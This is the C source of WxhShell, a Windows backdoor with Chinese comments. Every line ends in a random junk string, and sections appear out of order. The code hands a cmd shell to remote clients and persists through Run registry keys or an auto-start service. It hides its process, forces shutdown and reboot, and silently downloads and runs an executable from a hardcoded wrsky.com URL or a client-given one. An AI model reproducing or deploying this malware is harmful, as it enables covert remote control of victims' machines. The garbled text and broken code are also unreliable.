    break; nVn|$ "r  
    } ywynx<Wg  
  // 关机 Kt,yn A  
  case 'd': { 34wM%@D*c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t-*|Hfp*^  
    if(Boot(SHUTDOWN)) t tFY _F~S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aq+IC@O  
    else { E\~ KVn  
    closesocket(wsh); ITIj=!F*  
    ExitThread(0); %M#?cmt  
    } C]yQ "b  
    break; h^+C)6(58n  
    } k\sM;bCv7  
  // 获取shell Nv?-*&L  
  case 's': { |"YA<e %  
    CmdShell(wsh); /CI%XocB  
    closesocket(wsh); ?koxt4 4  
    ExitThread(0); 0T#xM(q[K  
    break; N&^xq_9&  
  } h@;)dLo0z  
  // 退出 1i/::4=  
  case 'x': { nt0\q'&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )R8%'X;U  
    CloseIt(wsh); 0w(T^G hZ  
    break; !\-4gr?`!  
    } KU|BT .o8  
  // 离开 0vuKGjK  
  case 'q': { r}0C8(oq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AR~$MCR]"k  
    closesocket(wsh); =v4r M0m,  
    WSACleanup(); >$naTSJq  
    exit(1); 4[#6<Ixf  
    break; o4 %Vt} K  
        } mw(c[.*%  
  } uR:=V9O  
  } Yi&-m}  
m io1kDq<  
  // 提示信息 =^Sw*[eiy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O5qW*r'  
} %x}&=zx0*1  
  } Y62u%':X  
wY3|#P CDV  
  return; b-BM"~N'  
} o)#q9Vk%b  
Seq]NkgY  
// shell模块句柄 i#RElH  
int CmdShell(SOCKET sock) P}hY {y'  
{ Z.:<TrN  
STARTUPINFO si; Q^lQi\[  
ZeroMemory(&si,sizeof(si)); kOAY@a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UXwB$@8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B)rr7B  
PROCESS_INFORMATION ProcessInfo; PW*;Sp  
char cmdline[]="cmd"; VX;zZ`BJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c.(Ud`jc  
  return 0; ZD)0P=%  
} 6Q2or n[  
,2,SG/BB  
// 自身启动模式 XLZ j  
int StartFromService(void) B:?#l=FL  
{ df4sOqU  
typedef struct U=F-] lD  
{ 4|6&59?pnc  
  DWORD ExitStatus; tE]5@b,R  
  DWORD PebBaseAddress; uNe}"hs  
  DWORD AffinityMask; qDRNtFa  
  DWORD BasePriority; 9fP) Fwih  
  ULONG UniqueProcessId; =R&)hlm  
  ULONG InheritedFromUniqueProcessId; }dX/Y /  
}   PROCESS_BASIC_INFORMATION; (_w %  
4ZI!,lv*  
PROCNTQSIP NtQueryInformationProcess; tw'hh@7-Y  
?7yQ&p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jby~AJf %  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /M^V 2=  
'Aj(i/CM  
  HANDLE             hProcess; >f\zCT%cf  
  PROCESS_BASIC_INFORMATION pbi; -BA"3 S  
~$4]HDg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -`!_h[   
  if(NULL == hInst ) return 0; B2~f;zy`  
h; 'W :P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F0&~ ?2nG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )L |tn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bZ>&QM  
YH[XRUa  
  if (!NtQueryInformationProcess) return 0; {*QvC g?  
T?X^0UdJj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $%g\YdC  
  if(!hProcess) return 0; CAUijMI@  
T8$%9&j!UE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v"u7~Dw# 1  
5v|H<wPp  
  CloseHandle(hProcess); })20Zld}a  
 3L%WVCB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,IIZ Xl@  
if(hProcess==NULL) return 0; i8Fs0U4"  
5<89Af&&K8  
HMODULE hMod; cMDRWh  
char procName[255]; Ia=_78MgZ  
unsigned long cbNeeded; `$S^E !=  
umQi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 99^AT*ByY  
2)wAFO6u  
  CloseHandle(hProcess); lPY@{1W  
,b4):{  
if(strstr(procName,"services")) return 1; // 以服务启动 S:ls[9G[3  
9i0M/vx  
  return 0; // 注册表启动 LZ~2=Y< U(  
} TdQ ]G2  
:T_'n,  
// 主模块 |d $1wr  
int StartWxhshell(LPSTR lpCmdLine) =G( *gx  
{ 6nh]*/  
  SOCKET wsl; X[V?T>jsM  
BOOL val=TRUE; yeh8z:5Z O  
  int port=0; RcgRaQ2^  
  struct sockaddr_in door; !\CG,Ek  
CN7 k?JO<  
  if(wscfg.ws_autoins) Install(); Q0pzW:=s]  
(cvh3',  
port=atoi(lpCmdLine); ^J8uhV;w  
|~SE"  
if(port<=0) port=wscfg.ws_port; I>{!U$  
{3hqp*xl  
  WSADATA data; 8N% z9b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7p^@;@V  
~<n(y-P^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %yiD~&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |/VL35b  
  door.sin_family = AF_INET; Uz 0W <u3v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tp Xa*6  
  door.sin_port = htons(port); NCa~#i:F8  
A2y6UzLYD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2B-.}OJ  
closesocket(wsl); :$=|7v  
return 1; - %|P  
} *zq.C  
.eo~?u<j&  
  if(listen(wsl,2) == INVALID_SOCKET) { ^IBGYl5n  
closesocket(wsl); "OO96F  
return 1; U^[<  
} %y>+1hakkX  
  Wxhshell(wsl); =_[2n?9y  
  WSACleanup(); czI{qi5N  
9`B0fv Q&  
return 0; XYe~G@Q Z  
,yICNtP  
} /}Yqf`CZy  
Hle\ON  
// 以NT服务方式启动 6 }!Z"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pTWg m\h  
{ ,9mgYp2  
DWORD   status = 0; e 8,{|a  
  DWORD   specificError = 0xfffffff; }!8nO;  
CM9XPr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |QVr `tE<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !tU'J"Zy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !6H uFf  
  serviceStatus.dwWin32ExitCode     = 0; :[xvlW29  
  serviceStatus.dwServiceSpecificExitCode = 0; iU5P$7.p  
  serviceStatus.dwCheckPoint       = 0; bDDqaO ,8  
  serviceStatus.dwWaitHint       = 0; zOB !(R  
pz 7H To;p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I5qM.@%zB  
  if (hServiceStatusHandle==0) return; Pt)S;6j   
~wOTjz  
status = GetLastError(); ["a"x>X&  
  if (status!=NO_ERROR) (s s3A9tG  
{ 9@n diu[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d ",(a Z  
    serviceStatus.dwCheckPoint       = 0; d ;^  
    serviceStatus.dwWaitHint       = 0; Sh&iQ_vq  
    serviceStatus.dwWin32ExitCode     = status; |O-`5_z$r  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZqQ*}l5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wK ?@.l)u  
    return; 2ev*CX6.  
  } =q+R   
1a$IrQE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; := <0=JE#  
  serviceStatus.dwCheckPoint       = 0; }_}KVI  
  serviceStatus.dwWaitHint       = 0; t0Zk-/s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BC! 6O/kr  
} U]hF   
hv>KX  
// 处理NT服务事件,比如:启动、停止 dv~pddOs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '^iUx,,ZQ  
{ v^SsoX>WMH  
switch(fdwControl) ?^9BMQ+  
{ @TzvT3\q  
case SERVICE_CONTROL_STOP: #6=MKpR  
  serviceStatus.dwWin32ExitCode = 0; XWUP=D~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *0y{ ~@  
  serviceStatus.dwCheckPoint   = 0; 19Ww3P vQ;  
  serviceStatus.dwWaitHint     = 0; 6)}B"Qd  
  { LL(|$}yW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nBz`q+V  
  } +j{Y,t{4  
  return; eY,O@'"8`  
case SERVICE_CONTROL_PAUSE: BLn_u,3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $.rzc]s  
  break; R,t$"bOd  
case SERVICE_CONTROL_CONTINUE: S2K#[mDG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %2"J:0j  
  break; |sIr?RL{C  
case SERVICE_CONTROL_INTERROGATE: c~imE%  
  break; PLA#!$c7q  
}; _c2WqQ-05  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `G!M>h@  
} j*400  
*fnvZw?  
// 标准应用程序主函数  $dQIs:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mR% FqaN_  
{ E{y1S\7K  
<*(^{a. O  
// 获取操作系统版本 :,S98z#  
OsIsNt=GetOsVer(); z.oU4c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .[:VSM7T  
\X|sU:g  
  // 从命令行安装 y('k`>C  
  if(strpbrk(lpCmdLine,"iI")) Install(); vXv;1T  
+G*JrwJ&=  
  // 下载执行文件 lCIDBBjy^  
if(wscfg.ws_downexe) { 5~'IKcW<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w1 `QIv  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,LhCFw{8?~  
} ZmEEj-*7s  
9Uf j  
if(!OsIsNt) { ,"\@fwy{  
// 如果时win9x,隐藏进程并且设置为注册表启动 z6*<V5<7  
HideProc(); {X~ gwoz  
StartWxhshell(lpCmdLine); !H@0MQ7  
} lg$zGa?  
else d0'HDVd  
  if(StartFromService()) <S?#@F\"S  
  // 以服务方式启动 [?k8}B)mHB  
  StartServiceCtrlDispatcher(DispatchTable); hK|j6x f.o  
else X4|4QgY  
  // 普通方式启动 x=q;O+7]  
  StartWxhshell(lpCmdLine); ~" i0x  
1} %B%*N  
return 0; T/1gI9 X  
} rl08 R  
pkgjTXR2b  
lIRlMLuG  
"IQ/LbOqm_  
=========================================== =elpH^N  
ZcJ\ZbE|  
K/=|8+IDL  
"Gb1K9A im  
r^Zg-|gr  
PcT?<HU  
" %]2, &  
fHRMu:q  
#include <stdio.h> 8s{?v &p  
#include <string.h> d5`3wd]]'v  
#include <windows.h> lQ'GX9hN@  
#include <winsock2.h> '' O7=\  
#include <winsvc.h> Dd/wUP  
#include <urlmon.h> r SkUSe6  
p5r]J+1  
#pragma comment (lib, "Ws2_32.lib") c0&Rg#  
#pragma comment (lib, "urlmon.lib") ?a(L.3 E  
s$D ^>0  
#define MAX_USER   100 // 最大客户端连接数 7*5Z  
#define BUF_SOCK   200 // sock buffer Jg}K.1Hs  
#define KEY_BUFF   255 // 输入 buffer T~0k"uTE  
K%v1xZ  
#define REBOOT     0   // 重启 \%]I{  
#define SHUTDOWN   1   // 关机 hrGM|_BE  
@a:>$t  
#define DEF_PORT   5000 // 监听端口 wMqX)}>  
?iI4x%y  
#define REG_LEN     16   // 注册表键长度 ?L&'- e@  
#define SVC_LEN     80   // NT服务名长度 .Z:zZ_Ev  
^T"vX  
// 从dll定义API o%9*B%HO/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {(U %i\F\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {!t7[Ctb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eq(am%3~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fk1ASV<rN  
}X*Riu7gk  
// wxhshell配置信息 li~d?>  
struct WSCFG { I M-L'9  
  int ws_port;         // 监听端口 (3J$>Na  
  char ws_passstr[REG_LEN]; // 口令 ydRC1~f0  
  int ws_autoins;       // 安装标记, 1=yes 0=no nD5 gP  
  char ws_regname[REG_LEN]; // 注册表键名 Qham^  
  char ws_svcname[REG_LEN]; // 服务名 +t5U.No  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >Cw<BIF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VCXJwVb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ;s`sn$@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?qCK7 $ j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pn.wud}R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q\m2EURco  
$,+O9Et  
}; ),G=s Oo  
 #wL  
// default Wxhshell configuration 'EDda  
struct WSCFG wscfg={DEF_PORT, h$4Hw+Yxs]  
    "xuhuanlingzhe", h%}/Cmx[  
    1, qlL`jWJ  
    "Wxhshell", s l]_M  
    "Wxhshell", R" ;x vo*  
            "WxhShell Service", na9sm  
    "Wrsky Windows CmdShell Service", ]gYz 4OT  
    "Please Input Your Password: ", ~0beuK&p  
  1, S S2FTb-m  
  "http://www.wrsky.com/wxhshell.exe", L#E] BY  
  "Wxhshell.exe" yW$0\E6<r  
    }; rE}%KsZ  
|<:vY  
// 消息定义模块 yE}}c{hSn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *h}XWBC1q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fQ#l3@in  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z ?wU  
char *msg_ws_ext="\n\rExit."; e,t(q(L  
char *msg_ws_end="\n\rQuit."; (M*FIX  
char *msg_ws_boot="\n\rReboot..."; U}[I   
char *msg_ws_poff="\n\rShutdown..."; 5$V_Hj  
char *msg_ws_down="\n\rSave to "; ^h69Kr#d4  
ZosP(Tdq  
char *msg_ws_err="\n\rErr!"; j#cYS*^H  
char *msg_ws_ok="\n\rOK!"; N[s}qmPha  
-$\+' \  
char ExeFile[MAX_PATH]; $0 vb^  
int nUser = 0; 6 J{k(H$3  
HANDLE handles[MAX_USER]; zT!drq:x  
int OsIsNt; W[Ls|<Q  
{phNds%  
SERVICE_STATUS       serviceStatus; q WQ/ 'M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0g+'/+Ho 4  
q@[Qj Gj@  
// 函数声明 Y;?{|  
int Install(void); _lamn }(x0  
int Uninstall(void); /Mvf8v  
int DownloadFile(char *sURL, SOCKET wsh); !\7!3$w'8,  
int Boot(int flag); eEuvl`&  
void HideProc(void);  Vh_P/C+  
int GetOsVer(void); i\,-oO  
int Wxhshell(SOCKET wsl); 3j\1S1  
void TalkWithClient(void *cs); ,P;Pm68V  
int CmdShell(SOCKET sock); Wk)OkIFR  
int StartFromService(void); u6AA4(  
int StartWxhshell(LPSTR lpCmdLine); 5`~PR :dN  
x[a<mk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IZpP[hov  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vEJWFoeEFm  
vX/T3WV  
// 数据结构和表定义 e 9;~P}  
SERVICE_TABLE_ENTRY DispatchTable[] = !@}wDt  
{ -*1J f&  
{wscfg.ws_svcname, NTServiceMain}, '<"s \,  
{NULL, NULL} @7IIM{  
}; f&Gt|  
}H^+A77v  
// 自我安装 )h7<?@wv&  
int Install(void) e)d`pQ6  
{ lhy*h_>  
  char svExeFile[MAX_PATH]; ?l9XAW t\  
  HKEY key; D]zwl@sRX:  
  strcpy(svExeFile,ExeFile); nAv#?1cjz  
U/!TKic+  
// 如果是win9x系统,修改注册表设为自启动 37s0e;aF  
if(!OsIsNt) { ,J+}rPe"sf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'uBu6G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N sXHO  
  RegCloseKey(key); $g> IyT[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aAD^^l#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]n6#VTz*  
  RegCloseKey(key); ]s<[D$ <,  
  return 0; t'n pG}`tE  
    } -XB/lnG  
  } )Y"+,$$>Y`  
} EV]1ml k$  
else { hgPa6Kd  
;ub;l h3  
// 如果是NT以上系统,安装为系统服务 5IE#\FITO|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZrpU <   
if (schSCManager!=0) IxY|>5z  
{ b,7k)ND1F  
  SC_HANDLE schService = CreateService EJMM9(DQ7  
  ( ,o86}6Ag  
  schSCManager, B3 8]~'8  
  wscfg.ws_svcname, l9{hq/V  
  wscfg.ws_svcdisp, p{r}?a  
  SERVICE_ALL_ACCESS, z&zP)>Pv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8\+uec]k  
  SERVICE_AUTO_START, H#,W5EJzM  
  SERVICE_ERROR_NORMAL, KcWN,!G  
  svExeFile, l+KY)6o  
  NULL, | )K8N<n  
  NULL, V% rzk*LA  
  NULL, @>,^":`#  
  NULL, ]cHgleHQ  
  NULL >g1~CEMN#  
  ); q'T4w!V(V  
  if (schService!=0) >mwlsL~X  
  { e"{{ TcNk  
  CloseServiceHandle(schService); hOjk3 k  
  CloseServiceHandle(schSCManager); j#!IuH\]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cr7 }^s  
  strcat(svExeFile,wscfg.ws_svcname); NcBIg:V\c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3l rT3a3vV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); glO^yZs  
  RegCloseKey(key); SW@$ci  
  return 0; , qMzWa  
    } fK>L!=Q  
  } 9+Np4i@  
  CloseServiceHandle(schSCManager); Cio 1E-4  
} rBQ_iB_  
} 0q()|y?}  
^O?/yV?4c  
return 1; !|S(Ms  
} 8W*%aOi5+  
=W(Q34  
// 自我卸载  dm\F  
int Uninstall(void) $*^7iT4q_t  
{ <}C oQz  
  HKEY key; '$i: 2mn,  
?1~`*LE  
if(!OsIsNt) { 03$mYS_?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R`NYEptJ  
  RegDeleteValue(key,wscfg.ws_regname); t% d Z-Ym  
  RegCloseKey(key); 0yk]o5a++  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (nQ^  
  RegDeleteValue(key,wscfg.ws_regname); p $S*dr  
  RegCloseKey(key); 94'&b=5+  
  return 0; y6(Z`lx  
  } 5'OrHk;u  
} 3#LlDC_WC  
} %z=le7  
else { E>6MeO  
Vr3Zu{&2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KjD/o?JUr  
if (schSCManager!=0) "Wct({n  
{ *3+4[WT0]a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )8a~L8oN  
  if (schService!=0) =Qy<GeY  
  { "{A(x }'Y4  
  if(DeleteService(schService)!=0) { C7]f*TSC4  
  CloseServiceHandle(schService); T^zXt?  
  CloseServiceHandle(schSCManager); tH!]Z4}u  
  return 0; R)c?`:iUB  
  } /2&c$9=1  
  CloseServiceHandle(schService); Tf>bX_L?  
  } XY5K%dMU  
  CloseServiceHandle(schSCManager); 0_jf/an,%  
} \[;0 KV_  
} )*$lp'~7N  
O %\*@4zM  
return 1; /J]5H  
} 0Um2DjTCG  
1.}d.t  
// 从指定url下载文件 A @i  
int DownloadFile(char *sURL, SOCKET wsh) tm|ZBM  
{ z<MsKD0Q  
  HRESULT hr; 9Gvd&U  
char seps[]= "/"; [*Z;\5&P  
char *token; =}~hWL  
char *file; (Lbbc+1m  
char myURL[MAX_PATH]; =O~_Q-  
char myFILE[MAX_PATH]; 4S7v:1~xe  
J"0`%'*/  
strcpy(myURL,sURL); GV1pn) 4  
  token=strtok(myURL,seps); .#EFLXs  
  while(token!=NULL)  0HZ{Y9]  
  { 8'[~2/  
    file=token; 5tl< 3g `  
  token=strtok(NULL,seps); -M\<nx  
  } 4j-Xi  
x[cL Bc<  
GetCurrentDirectory(MAX_PATH,myFILE); n'"/KS+_  
strcat(myFILE, "\\"); )~X2 &^orW  
strcat(myFILE, file); "fb[23g%@k  
  send(wsh,myFILE,strlen(myFILE),0); N"Z{5A  
send(wsh,"...",3,0); G?yLo 'Ulo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); irZ])a  
  if(hr==S_OK) >>,e4s,  
return 0; ,>:U2%  
else 2_>N/Z4T  
return 1; W<'m:dq  
91/Q9xY  
} ${DUCud,kY  
QRw"H 8nW  
// 系统电源模块 VMZMG$C  
int Boot(int flag) sWhZby7  
{ xH ]Ct~ md  
  HANDLE hToken; 82+r^t/.  
  TOKEN_PRIVILEGES tkp; s9 mx  
jV i) Efy  
  if(OsIsNt) { [z:!j$K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &0d# Y]D4`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9gW|}&-  
    tkp.PrivilegeCount = 1; e+EQ]<M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  8$=n j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?d*z8w  
if(flag==REBOOT) { @@f"%2ZR[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "MeVE#O  
  return 0; .e#w)K  
} x[p|G5  
else { KR} ?H#%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9+|$$)  
  return 0; KM, \  
} }PlRx6r@  
  } poE0{HOU  
  else { ~g91Pr   
if(flag==REBOOT) { #<fRE"v:Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /PVk{3  
  return 0; i$Ul(?  
} cZ,b?I"Q%  
else { Xg6Jh``  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) soxc0OlN  
  return 0; yxPazz  
} 2Ah#<k-gC;  
} {p2!|A&a  
+|3@=.V  
return 1; }dX*[I   
} j^*dmX  
<sbu;dQ`  
// win9x进程隐藏模块 )$2QZ qX  
void HideProc(void) HZE#Ab*L  
{  }FROB/  
=IZT(8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '@v\{ l  
  if ( hKernel != NULL ) @?sRj&w  
  { %uDi#x.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gT. sj d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C[cbbp  
    FreeLibrary(hKernel); zpn9,,~u  
  } , >a&"V^k  
WCZjXDiwJ  
return; RNk\.}m  
} kt#fMd$  
u[;\y|75  
// 获取操作系统版本 Q-okt RK  
int GetOsVer(void) (XTG8W sN  
{ k=$TGqQY?  
  OSVERSIONINFO winfo; tAd%#:K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,L2ZinU:  
  GetVersionEx(&winfo); Wu/]MBM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BKCiIfkZ  
  return 1; 5Pc;5 o0C  
  else au(D66VO  
  return 0; r8?gD&c}  
} 8 /]S^'>  
:LQYo'@yB  
// 客户端句柄模块 g/d<Zfq<{  
int Wxhshell(SOCKET wsl) Vr)S{k-Q  
{ ^oz3F]4,g  
  SOCKET wsh; KAJi  
  struct sockaddr_in client; 2QcOR4_V  
  DWORD myID; &J]K3w1p  
bSlF=jT[S  
  while(nUser<MAX_USER) y-b%T|p9  
{ 1s&zMWC  
  int nSize=sizeof(client); z|J_b"u4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WDYeOtc  
  if(wsh==INVALID_SOCKET) return 1; yWc$>ne[L  
tKuwpT1Qc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "S]0  
if(handles[nUser]==0) X,% 0/6*]  
  closesocket(wsh); 4"(Bu/24  
else EWhK0Vej=  
  nUser++; 9rX&uP)j^#  
  } $99n&t$Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `{h*/Q  
D/gw .XYL  
  return 0; .hb:s,0mP  
} 3pROf#M  
n38p!oS  
// 关闭 socket Qy<P463A(l  
void CloseIt(SOCKET wsh) wU36sCo  
{ ~vhE|f  
closesocket(wsh); BwEN~2u6  
nUser--; O:R*rJ  
ExitThread(0); FX&~\kmV'j  
} |^I0dR/w:  
&t@jl\ND  
// 客户端请求句柄 :RTC!spy  
void TalkWithClient(void *cs) +o{R _  
{ 7nTeP(M%  
bH9kj/q\b  
  SOCKET wsh=(SOCKET)cs; 558V_y:  
  char pwd[SVC_LEN]; 1=c\Rr9]  
  char cmd[KEY_BUFF]; e]"W!K cD9  
char chr[1]; d"mkL-  
int i,j; /Iy]DU8  
]cWUZ{puRB  
  while (nUser < MAX_USER) { 0S_~\t  
rU:`*b<  
if(wscfg.ws_passstr) { P )"m0Lu<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2WL|wwA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fnv;^}\z  
  //ZeroMemory(pwd,KEY_BUFF); 6<SAa#@ey  
      i=0; 7kLz[N6Ll  
  while(i<SVC_LEN) { k,6f &#x  
"Yv_B3p   
  // 设置超时 qJs<#MQ2  
  fd_set FdRead; GW@;}m(  
  struct timeval TimeOut; zT.7  
  FD_ZERO(&FdRead); 4r#= *  
  FD_SET(wsh,&FdRead); UgN u`$m+  
  TimeOut.tv_sec=8; 6r0krbN  
  TimeOut.tv_usec=0; .t-4o<7 3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 ';JXf$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }5[qo`M  
L(<*)No  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W ]1)zO  
  pwd=chr[0]; X1|njJGO1  
  if(chr[0]==0xd || chr[0]==0xa) { &K.d'$q  
  pwd=0; w~A{(- dx  
  break; gQg"j)  
  } py!|\00}  
  i++; &MQmu,4  
    } )h4 f\0  
5"@*?X K^  
  // 如果是非法用户,关闭 socket 0B/,/KX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Su7?;Oh/yI  
} ;>yxNGV`  
&*,#5.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  hoUD;3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  2DtM20<>  
x%m%_2%Z  
while(1) { Egp/f|y  
~{g [<Qi  
  ZeroMemory(cmd,KEY_BUFF); mt{nm[D!Xp  
KIf dafRL  
      // 自动支持客户端 telnet标准   gMmaK0uhS  
  j=0; eS\Vib  
  while(j<KEY_BUFF) { SCHP L.n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vn!3l1\+J  
  cmd[j]=chr[0]; 5h-SCB>P  
  if(chr[0]==0xa || chr[0]==0xd) { Xll}x+'uZK  
  cmd[j]=0; O)*+="Rg  
  break; O!#g<`r{K  
  } +H-6eP  
  j++; 9G#n 0&wRJ  
    } DDP/DD;n}r  
xd?f2=dd~h  
  // 下载文件 W)2p@j59A  
  if(strstr(cmd,"http://")) { b9J_1Gl]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R6Km\N  
  if(DownloadFile(cmd,wsh)) ,{u yG:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gnOt+W8  
  else @ $ ;q ;  
